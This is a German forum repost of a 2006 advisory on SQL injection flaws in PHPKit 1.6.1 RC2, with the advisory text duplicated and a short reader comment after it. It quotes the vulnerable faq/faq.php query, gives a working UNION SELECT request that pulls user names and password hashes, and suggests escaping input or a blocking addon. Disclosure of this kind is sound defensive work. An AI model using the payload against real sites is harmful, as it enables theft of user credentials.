SQL-Injection in PHPKit
In PHPKit 1.6.1 RC2 befinden sich einige sehr kritische Sicherheitslücken, die es einem Angreifer unter Umständen ermöglichen, den MD5-Hash eines Users auszulesen.
Nachdem letzte Woche ein Exploit 1 aufgetaucht ist, das eine Lücke in der Datei misc/finduser.php ausnutzt, habe ich mir das Script einmal etwas näher angesehen.
Es befinden sich mindestens in den Datein guestbook/print.php und faq/faq.php Möglichkeiten, SQL-Code unterzuschieben.
Code faq/faq.php (Zeile 20 ff.):
if ($catid!=0) {
$getfaqinfo=$DB->query("SELECT *
FROM ".$db_tab['faq']."
WHERE faq_answer!='-'
AND faq_catid='".$catid."' //<-VULN
ORDER by faq_title ASC");
while($faqinfo=$DB->fetch_array($getfaqinfo)) {
Über eine manipulierte Anfrage an das Script kann das Passwort eines beliebigen Users ausgegeben werden:
/include.php?path=faq/faq.php&catid=-1'%20UNION%20SELECT%20
1,2,3,4,user_name,user_pw,7,8,9,10,11,12,13%20
FROM%20phpkit_user%20where%20%20user_id=1%20and%20'1'='1
Ein ähnlicher Fehler befindet sich auch in der Datei guestbook/print.php.
Da die Entwickler nach dem letzten Exploit leider keinen Patch gebracht haben, gehe ich davon aus, dass auch dieses mal keiner folgen wird.
Daher muss etwas "Dirty Patching" betrieben werden.
Einfachste Methode ist per mysql_real_escape_string die Eingabe des Users zu escapen.
Eine andere Möglichkeit ist das Addon Hack_Block , welches nicht nur vor dieser Attacke auf PHPKit schützt, sondern generell vor SQL-Injections schützen soll.
Habe das ganze mal kurz angetestet und war positiv überrascht.
[advisory by phillip niedziela - site; http://www.bb-pcsecurity.de/ vom 10.11.2006]
saludos
gnarff
Nachdem letzte Woche ein Exploit 1 aufgetaucht ist, das eine Lücke in der Datei misc/finduser.php ausnutzt, habe ich mir das Script einmal etwas näher angesehen.
Es befinden sich mindestens in den Datein guestbook/print.php und faq/faq.php Möglichkeiten, SQL-Code unterzuschieben.
Code faq/faq.php (Zeile 20 ff.):
if ($catid!=0) {
$getfaqinfo=$DB->query("SELECT *
FROM ".$db_tab['faq']."
WHERE faq_answer!='-'
AND faq_catid='".$catid."' //<-VULN
ORDER by faq_title ASC");
while($faqinfo=$DB->fetch_array($getfaqinfo)) {
Über eine manipulierte Anfrage an das Script kann das Passwort eines beliebigen Users ausgegeben werden:
/include.php?path=faq/faq.php&catid=-1'%20UNION%20SELECT%20
1,2,3,4,user_name,user_pw,7,8,9,10,11,12,13%20
FROM%20phpkit_user%20where%20%20user_id=1%20and%20'1'='1
Ein ähnlicher Fehler befindet sich auch in der Datei guestbook/print.php.
Da die Entwickler nach dem letzten Exploit leider keinen Patch gebracht haben, gehe ich davon aus, dass auch dieses mal keiner folgen wird.
Daher muss etwas "Dirty Patching" betrieben werden.
Einfachste Methode ist per mysql_real_escape_string die Eingabe des Users zu escapen.
Eine andere Möglichkeit ist das Addon Hack_Block , welches nicht nur vor dieser Attacke auf PHPKit schützt, sondern generell vor SQL-Injections schützen soll.
Habe das ganze mal kurz angetestet und war positiv überrascht.
[advisory by phillip niedziela - site; http://www.bb-pcsecurity.de/ vom 10.11.2006]
saludos
gnarff
Please also mark the comments that contributed to the solution of the article
Content-ID: 44371
Url: https://administrator.de/contentid/44371
Printed on: September 9, 2024 at 11:09 o'clock
1 Comment
Wußt ich's doch, warum ich kein PHPKit einsetze ^^
Danke!
Lonesome Walker
Danke!
Lonesome Walker